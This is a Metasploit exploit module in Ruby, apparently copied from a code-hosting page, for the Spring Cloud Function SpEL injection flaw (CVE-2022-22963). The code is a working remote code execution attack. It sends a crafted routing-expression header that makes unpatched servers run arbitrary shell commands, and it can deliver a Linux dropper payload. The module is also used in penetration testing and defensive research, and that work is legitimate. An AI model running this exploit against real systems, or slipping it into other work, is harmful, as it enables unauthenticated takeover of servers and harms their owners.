Spencer McIntyre
118 lines
3.7 KiB
Ruby
118 lines
3.7 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
|
|
Rank = ExcellentRanking
|
|
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::CmdStager
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'Spring Cloud Function SpEL Injection',
|
|
'Description' => %q{
|
|
Spring Cloud Function versions prior to 3.1.7 and 3.2.3 are vulnerable to remote code execution due to using
|
|
an unsafe evaluation context with user-provided queries. By crafting a request to the application and setting
|
|
the spring.cloud.function.routing-expression header, an unauthenticated attacker can gain remote code
|
|
execution. Both patched and unpatched servers will respond with a 500 server error and a JSON encoded message.
|
|
},
|
|
'Author' => [
|
|
'm09u3r', # vulnerability discovery
|
|
'hktalent', # github PoC
|
|
'Spencer McIntyre'
|
|
],
|
|
'References' => [
|
|
['CVE', '2022-22963'],
|
|
['URL', 'https://github.com/hktalent/spring-spel-0day-poc'],
|
|
['URL', 'https://tanzu.vmware.com/security/cve-2022-22963'],
|
|
['URL', 'https://attackerkb.com/assessments/cda33728-908a-4394-9bd5-d4126557d225']
|
|
],
|
|
'DisclosureDate' => '2022-03-29',
|
|
'License' => MSF_LICENSE,
|
|
'Platform' => ['unix', 'linux'],
|
|
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
|
|
'Privileged' => false,
|
|
'Targets' => [
|
|
[
|
|
'Unix Command',
|
|
{
|
|
'Platform' => 'unix',
|
|
'Arch' => ARCH_CMD,
|
|
'Type' => :unix_cmd
|
|
}
|
|
],
|
|
[
|
|
'Linux Dropper',
|
|
{
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86, ARCH_X64],
|
|
'Type' => :linux_dropper
|
|
}
|
|
]
|
|
],
|
|
'DefaultTarget' => 1,
|
|
'DefaultOptions' => {
|
|
'RPORT' => 8080,
|
|
'TARGETURI' => '/functionRouter'
|
|
},
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Base path', '/'])
|
|
])
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI'])
|
|
)
|
|
|
|
return CheckCode::Unknown unless res
|
|
|
|
# both vulnerable and patched servers respond with 500 and a JSON body with these keys
|
|
return CheckCode::Safe unless res.code == 500
|
|
return CheckCode::Safe unless %w[timestamp path status error message].to_set.subset?(res.get_json_document&.keys&.to_set)
|
|
|
|
# best we can do is detect that the service is running
|
|
CheckCode::Detected
|
|
end
|
|
|
|
def exploit
|
|
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
|
|
|
|
case target['Type']
|
|
when :unix_cmd
|
|
execute_command(payload.encoded)
|
|
when :linux_dropper
|
|
execute_cmdstager
|
|
end
|
|
end
|
|
|
|
def execute_command(cmd, _opts = {})
|
|
vprint_status("Executing command: #{cmd}")
|
|
res = send_request_cgi(
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(datastore['TARGETURI']),
|
|
'headers' => {
|
|
'spring.cloud.function.routing-expression' => "T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/sh','-c','#{cmd.gsub("'", "''")}'})"
|
|
}
|
|
)
|
|
|
|
fail_with(Failure::Unreachable, 'Connection failed') if res.nil?
|
|
fail_with(Failure::UnexpectedReply, 'The server did not respond with the expected 500 error') unless res.code == 500
|
|
end
|
|
end
|